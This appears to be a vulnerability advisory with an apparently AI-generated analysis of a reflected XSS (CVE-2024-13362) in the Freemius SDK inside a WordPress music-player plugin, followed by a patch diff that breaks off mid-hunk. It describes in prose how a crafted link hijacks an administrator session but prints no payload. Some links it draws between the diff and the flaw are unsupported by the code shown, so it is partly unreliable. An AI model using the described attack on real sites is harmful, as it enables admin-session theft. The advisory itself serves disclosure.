Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : May 4, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (music-player-for-elementor)

CVE ID CVE-2024-13362

Plugin music-player-for-elementor

Severity Medium (CVSS 6.1)

CWE 79

Vulnerable Version 2.4.1

Patched Version 2.4.4

Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) in the Freemius SDK, version 2.10.1 and earlier, which is integrated into the Music Player for Elementor WordPress plugin. The flaw exists in how the SDK processes the url parameter, allowing unauthenticated attackers to inject arbitrary web scripts. The CVSS score is 6.1, indicating medium severity with low attack complexity.

Root Cause: The root cause is insufficient input sanitization and output escaping of the url parameter within the Freemius SDK’s class-freemius.php. Specifically, the code in the plugin’s admin menu and template import functionality processes user-supplied URLs without proper validation. The vulnerable code path involves the admin menu manager (class-fs-admin-menu-manager.php, lines 699-736), which constructs admin URLs using plugin-provided parameters, and the freemius class (class-freemius.php) where the url parameter is passed through without sanitization before being rendered in the admin interface. The diff shows that the fix primarily addresses SDK version updates (from 2.9.0 to 2.11.0) and adds nonce verification in the template import AJAX handler (import_mpfe_template function in load-music-player-for-elementor.php), but the core XSS vector in the url parameter was patched in the SDK itself.

Exploitation: An attacker can exploit this by crafting a malicious URL that contains a JavaScript payload in the url parameter. The attack vector is through the WordPress admin interface, specifically via the plugin’s template import feature or other admin pages that reflect the url parameter. The attacker must trick a user (typically an administrator) into clicking a crafted link. The payload executes in the context of the victim’s admin session, allowing the attacker to perform administrative actions, steal session tokens, or inject malicious content. The endpoint is typically /wp-admin/admin.php?page=mpfe-dashboard or similar pages where the url parameter is processed and reflected without proper encoding.

Patch Analysis: The patch updates the Freemius SDK from version 2.9.0 to 2.11.0, which includes comprehensive security fixes. The key changes include: (1) Updating the SDK version constant in start.php (line 18), (2) Adding nonce verification in the import_mpfe_template AJAX handler (check_ajax_referer(‘mpfe_import_nonce’, ‘import_nonce’)), (3) Adding capability checks (current_user_can(‘edit_posts’)), and (4) Fixing the dynamic control categories in the elementor widget (changing from MEDIA_CATEGORY to URL_CATEGORY). The before-behavior was that the url parameter was reflected without encoding or validation; the after-behavior correctly sanitizes and escapes output, prevents CSRF via nonce, and restricts the functionality to authorized users.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a logged-in administrator’s browser session. This can lead to full site compromise through session hijacking, injection of malicious admin users, modification of plugin settings, or deployment of persistent XSS payloads. The attack requires user interaction (clicking a link), but the low complexity and no authentication requirement make it a significant risk for WordPress sites using the affected plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/music-player-for-elementor/classes/controls/mpfe-audio-chooser.php
+++ b/music-player-for-elementor/classes/controls/mpfe-audio-chooser.php
@@ -59,10 +59,11 @@
 		return [
 			'label_block' => true,
 			'dynamic' => [
-				'categories' => [
-					TagsModule::MEDIA_CATEGORY,
-				],
 				'active' => true,
+				'categories' => [
+					TagsModule::URL_CATEGORY,
+				],
+
 			],
 		];
 	}
@@ -81,7 +82,7 @@
 			<label for="<?php echo esc_attr( $control_uid ); ?>" class="elementor-control-title">{{{ data.label }}}</label>
 			<a href="#" class="smc-ec-select-file elementor-button" style="padding: 10px 15px; margin-top: 10px; display: block; width: 100%; text-align: center; border: 1px dashed #d5dadf;" id="select-file-<?php echo esc_attr( $control_uid ); ?>" ><?php echo esc_html__( "Choose Audio File", 'music-player-for-elementor' ); ?></a> <br />
 			<div class="elementor-control-input-wrapper elementor-control-dynamic-switcher-wrapper">
-				<input type="text" class="smc-selected-audio-url elementor-dynamic-tag-field elementor-dynamic-tag-enabled" id="<?php echo esc_attr( $control_uid ); ?>" data-setting="{{ data.name }}" placeholder="{{ data.placeholder }}">
+				<input class="smc-selected-audio-url elementor-control-tag-area elementor-input elementor-control-unit-5" id="<?php echo esc_attr( $control_uid ); ?>" data-setting="{{ data.name }}" placeholder="{{ data.placeholder }}">
 			</div>
 		</div>
 		<# if ( data.description ) { #>
--- a/music-player-for-elementor/classes/core/load-music-player-for-elementor.php
+++ b/music-player-for-elementor/classes/core/load-music-player-for-elementor.php
@@ -53,11 +53,9 @@
 		wp_enqueue_style('mpfe_admin_style',  MPFE_DIR_URL . '/css/mpfe-admin-style.css', array(), MPFE_VERSION);
 		wp_enqueue_script('mpfe_admin_js',  MPFE_DIR_URL . '/js/mpfe-admin.js', array('jquery'), MPFE_VERSION);

-		wp_localize_script(
-			'mpfe_admin_js',
-			'sdata',
-			array(
-				'ajaxurl'	=>	admin_url('admin-ajax.php')
+		wp_localize_script('mpfe_admin_js', 'sdata', array(
+				'ajaxurl'	=>	admin_url('admin-ajax.php'),
+				'import_nonce' => wp_create_nonce( 'mpfe_import_nonce' ),
 			)
 		);
 	}
@@ -186,7 +184,17 @@
 	}

 	public function import_mpfe_template() {
-		$ret = array();
+		check_ajax_referer('mpfe_import_nonce', 'import_nonce' );
+
+		$ret = array();
+		if (!current_user_can( 'edit_posts' )) {
+	    	$ret['success'] = false;
+	    	$ret['message'] = esc_html__('You are not allowed to import templates.', 'music-player-for-elementor');
+
+			echo json_encode($ret);
+			exit;
+		}
+
 		if (!did_action('elementor/loaded')) {
 	    	$ret['success'] = false;
 	    	$ret['message'] = esc_html__('Elementor plugin must be installed and active to run the template importer.', 'music-player-for-elementor');
--- a/music-player-for-elementor/classes/core/mpfe-plugin-menu-pages.php
+++ b/music-player-for-elementor/classes/core/mpfe-plugin-menu-pages.php
@@ -90,7 +90,7 @@
 			<div class="mpfe_import_messages">
 				<div class="mpfe_import_notice mpfe_import_success">
 					<?php
-        echo esc_html__( 'Template imported successfully! You can find it under My Templates/Saved Templates and you can insert it anywhere with Elementor editor.', 'music-player-for-elementor' );
+        echo esc_html__( 'All set! Template imported successfully! You can find it under My Templates/Saved Templates and you can drop it anywhere you like with the Elementor editor.', 'music-player-for-elementor' );
         ?>
 					<a href="https://elementor.com/help/adding-templates/" target="_blank"><?php
         echo esc_html__( "See how to insert a template in Elementor." );
@@ -241,6 +241,8 @@
 					Report a problem			</a>
 				<a href="https://wordpress.org/support/plugin/music-player-for-elementor/" class="button helper-quick-link  button-primary" target="_blank">
 					Suggest a feature			</a>
+				<a href="https://smartwpress.ticksy.com/submit/#100019225" class="button helper-quick-link  button-primary" target="_blank">
+					Support Ticket (PRO)			</a>
 			</div>
 		</div>

@@ -268,6 +270,12 @@
 					<span><img class="checked" src="<?php
         echo esc_attr( MPFE_DIR_URL . "/img/checked.png" );
         ?>"></span>
+					<strong>Import</strong> professionally designed <strong>player templates</strong>
+				</div>
+				<div class="single_feat">
+					<span><img class="checked" src="<?php
+        echo esc_attr( MPFE_DIR_URL . "/img/checked.png" );
+        ?>"></span>
 					<strong>Autoplay</strong> option
 				</div>
 				<div class="single_feat">
@@ -304,7 +312,7 @@
 			<div class="text_center">
 				<a href="<?php
         echo esc_url( admin_url( 'admin.php?page=mpfe-dashboard-pricing' ) );
-        ?>" class="mpfe_adm_btn">PLANS & FEATURES (starting at $19.99/year)</a>
+        ?>" class="mpfe_adm_btn">PLANS & FEATURES</a>
 			</div>

 			<?php
--- a/music-player-for-elementor/classes/widgets/slide-compact-player.php
+++ b/music-player-for-elementor/classes/widgets/slide-compact-player.php
@@ -135,6 +135,9 @@
             'default'   => [
                 'url' => ElementorUtils::get_placeholder_image_src(),
             ],
+            'dynamic'   => [
+                'active' => true,
+            ],
             'selectors' => [
                 '{{WRAPPER}} .swp-compact-cover-container' => 'background-image: url("{{URL}}"); background-size: cover;',
             ],
@@ -215,6 +218,9 @@
                 'is_external' => false,
                 'nofollow'    => false,
             ],
+            'dynamic'       => [
+                'active' => true,
+            ],
             'description'   => __( 'Leave it emtpy to disable the icon link.', 'music-player-for-elementor' ),
         ] );
         $repeater_promo->add_control( 'button_buy_icon', [
@@ -300,8 +306,7 @@
             'default'     => __( 'Pear Tree Restaurant', 'music-player-for-elementor' ),
             'label_block' => 'true',
             'dynamic'     => [
-                'active'     => true,
-                'categories' => [TagsModule::MEDIA_CATEGORY],
+                'active' => true,
             ],
         ] );
         $repeater->add_control( 'separator_panel_2', [
@@ -1625,9 +1630,10 @@
     }

     private function single_track_html( $song, $album_to_song_name = false ) {
+        $audio_file_url = $song['audio_file'];
         ?>
 		<div class="swp_music_player_entry compact-player-entry clearfix" data-mediafile="<?php
-        echo esc_attr( $song['audio_file'] );
+        echo esc_url( $audio_file_url );
         ?>">
 			<span class="swp_song_details player_entry_left">
 				<span class="play_icon">
--- a/music-player-for-elementor/freemius/includes/class-freemius.php
+++ b/music-player-for-elementor/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5155,11 +5186,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5222,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5291,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5506,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6570,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6694,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7484,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7498,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -8616,7 +8689,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -15974,7 +16047,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -23927,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25403,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/music-player-for-elementor/freemius/includes/class-fs-plugin-updater.php
+++ b/music-player-for-elementor/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/music-player-for-elementor/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/music-player-for-elementor/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/music-player-for-elementor/freemius/includes/entities/class-fs-site.php
+++ b/music-player-for-elementor/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/music-player-for-elementor/freemius/includes/entities/class-fs-user.php
+++ b/music-player-for-elementor/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/music-player-for-elementor/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/music-player-for-elementor/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/music-player-for-elementor/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/music-player-for-elementor/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/music-player-for-elementor/freemius/start.php
+++ b/music-player-for-elementor/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.9.0';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -36,7 +36,16 @@
 		require_once dirname( __FILE__ ) . '/includes/fs-essential-functions.php';
 	}

-	/**
+    /**
+     * We updated the logic to support SDK loading from a subfolder of a theme as well as from a parent theme
+     * If the SDK is found in the active theme, it sets the relative path accordingly.
+     * If not, it checks the parent theme and sets the relative path if found there.
+     * This allows the SDK to be loaded from composer dependencies or from a custom `vendor/freemius` folder.
+     *
+     * @author Daniele Alessandra (@DanieleAlessandra)
+     * @since  2.9.0.5
+     *
+     *
 	 * This complex logic fixes symlink issues (e.g. with Vargant). The logic assumes
 	 * that if it's a file from an SDK running in a theme, the location of the SDK
 	 * is in the main theme's folder.
@@ -83,16 +92,50 @@
      */
 	$themes_directory         = get_theme_root( get_stylesheet() );
 	$themes_directory_name    = basename( $themes_directory );
-	$theme_candidate_basename = basename( dirname( $fs_root_path ) ) . '/' . basename( $fs_root_path );

-	if ( $file_path == fs_normalize_path( realpath( trailingslashit( $themes_directory ) . $theme_candidate_basename . '/' . basename( $file_path ) ) )
-	) {
-		$this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_candidate_basename;
-		$is_theme               = true;
-	} else {
-		$this_sdk_relative_path = plugin_basename( $fs_root_path );
-		$is_theme               = false;
-	}
+    // This change ensures that the condition works even if the SDK is located in a subdirectory (e.g., vendor)
+    $theme_candidate_sdk_basename = str_replace( $themes_directory . '/' . get_stylesheet() . '/', '', $fs_root_path );
+
+    // Check if the current file is part of the active theme.
+    $is_current_sdk_from_active_theme = $file_path == $themes_directory . '/' . get_stylesheet() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    $is_current_sdk_from_parent_theme = false;
+
+    // Check if the current file is part of the parent theme.
+    if ( ! $is_current_sdk_from_active_theme ) {
+        $theme_candidate_sdk_basename     = str_replace( $themes_directory . '/' . get_template() . '/',
+            '',
+            $fs_root_path );
+        $is_current_sdk_from_parent_theme = $file_path == $themes_directory . '/' . get_template() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    }
+
+    $theme_name = null;
+    if ( $is_current_sdk_from_active_theme ) {
+        $theme_name             = get_stylesheet();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else if ( $is_current_sdk_from_parent_theme ) {
+        $theme_name             = get_template();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else {
+        $this_sdk_relative_path = plugin_basename( $fs_root_path );
+        $is_theme               = false;
+
+        /**
+         * If this file was included from another plugin with lower SDK version, and if this plugin is symlinked, then we need to get the actual plugin path,
+         * as the value right now will be wrong, it will only remove the directory separator from the file_path.
+         *
+         * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
+         */
+        if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
+            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+
+            // Remove everything before the original plugin directory name.
+            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+
+            unset( $original_plugin_dir_name );
+        }
+    }

 	if ( ! isset( $fs_active_plugins ) ) {
 		// Load all Freemius powered active plugins.
@@ -176,7 +219,8 @@
 	     $this_sdk_version != $fs_active_plugins->plugins[ $this_sdk_relative_path ]->version
 	) {
 		if ( $is_theme ) {
-			$plugin_path = basename( dirname( $this_sdk_relative_path ) );
+            // Saving relative path and not only directory name as it could be a subfolder
+            $plugin_path = $theme_name;
 		} else {
 			$plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) );
 		}
@@ -225,11 +269,23 @@

 		$is_newest_sdk_type_theme = ( isset( $fs_newest_sdk->type ) && 'theme' === $fs_newest_sdk->type );

-		if ( ! $is_newest_sdk_type_theme ) {
-			$is_newest_sdk_plugin_active = is_plugin_active( $fs_newest_sdk->plugin_path );
-		} else {
-			$current_theme               = wp_get_theme();
-			$is_newest_sdk_plugin_active = ( $current_theme->stylesheet === $fs_newest_sdk->plugin_path );
+        /**
+         * @var bool $is_newest_sdk_module_active
+         * True if the plugin with the newest SDK is active.
+         * True if the newest SDK is part of the current theme or current theme's parent.
+         * False otherwise.
+         */
+        if ( ! $is_newest_sdk_type_theme ) {
+            $is_newest_sdk_module_active = is_plugin_active( $fs_newest_sdk->plugin_path );
+        } else {
+            $current_theme = wp_get_theme();
+            // Detect if current theme is the one registered as newer SDK
+            $is_newest_sdk_module_active = (
+                strpos(
+                    $fs_newest_sdk->plugin_path,
+                    '../' . $themes_directory_name . '/' . $current_theme->get_stylesheet() . '/'
+                ) === 0
+            );

             $current_theme_parent = $current_theme->parent();

@@ -237,13 +293,19 @@
              * If the current theme is a child of the theme that has the newest SDK, this prevents a redirects loop
              * from happening by keeping the SDK info stored in the `fs_active_plugins` option.
              */
-            if ( ! $is_newest_sdk_plugin_active && $current_theme_parent instanceof WP_Theme ) {
-                $is_newest_sdk_plugin_active = ( $fs_newest_sdk->plugin_path === $current_theme_parent->stylesheet );
+            if ( ! $is_newest_sdk_module_active && $current_theme_parent instanceof WP_Theme ) {
+                // Detect if current theme parent is the one registered as newer SDK
+                $is_newest_sdk_module_active = (
+                    strpos(
+                        $fs_newest_sdk->plugin_path,
+                        '../' . $themes_directory_name . '/' . $current_theme_parent->get_stylesheet() . '/'
+                    ) === 0
+                );
             }
 		}

 		if ( $is_current_sdk_newest &&
-		     ! $is_newest_sdk_plugin_active &&
+		     ! $is_newest_sdk_module_active &&
 		     ! $fs_active_plugins->newest->in_activation
 		) {
 			// If current SDK is the newest and the plugin is NOT active, it means
@@ -262,14 +324,14 @@
 				. '/start.php' );
 		}

-		$is_newest_sdk_path_valid = ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );
+		$is_newest_sdk_path_valid = ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );

 		if ( ! $is_newest_sdk_path_valid && ! $is_current_sdk_newest ) {
 			// Plugin with newest SDK is no longer active, or SDK was moved to a different location.
 			unset( $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ] );
 		}

-		if ( ! ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) ||
+		if ( ! ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) ||
 		     ! $is_newest_sdk_path_valid ||
 		     // Is newest SDK downgraded.
 		     ( $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
@@ -284,7 +346,7 @@
 			// Find the active plugin with the newest SDK version and update the newest reference.
 			fs_fallback_to_newest_active_sdk();
 		} else {
-			if ( $is_newest_sdk_plugin_active &&
+			if ( $is_newest_sdk_module_active &&
 			     $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
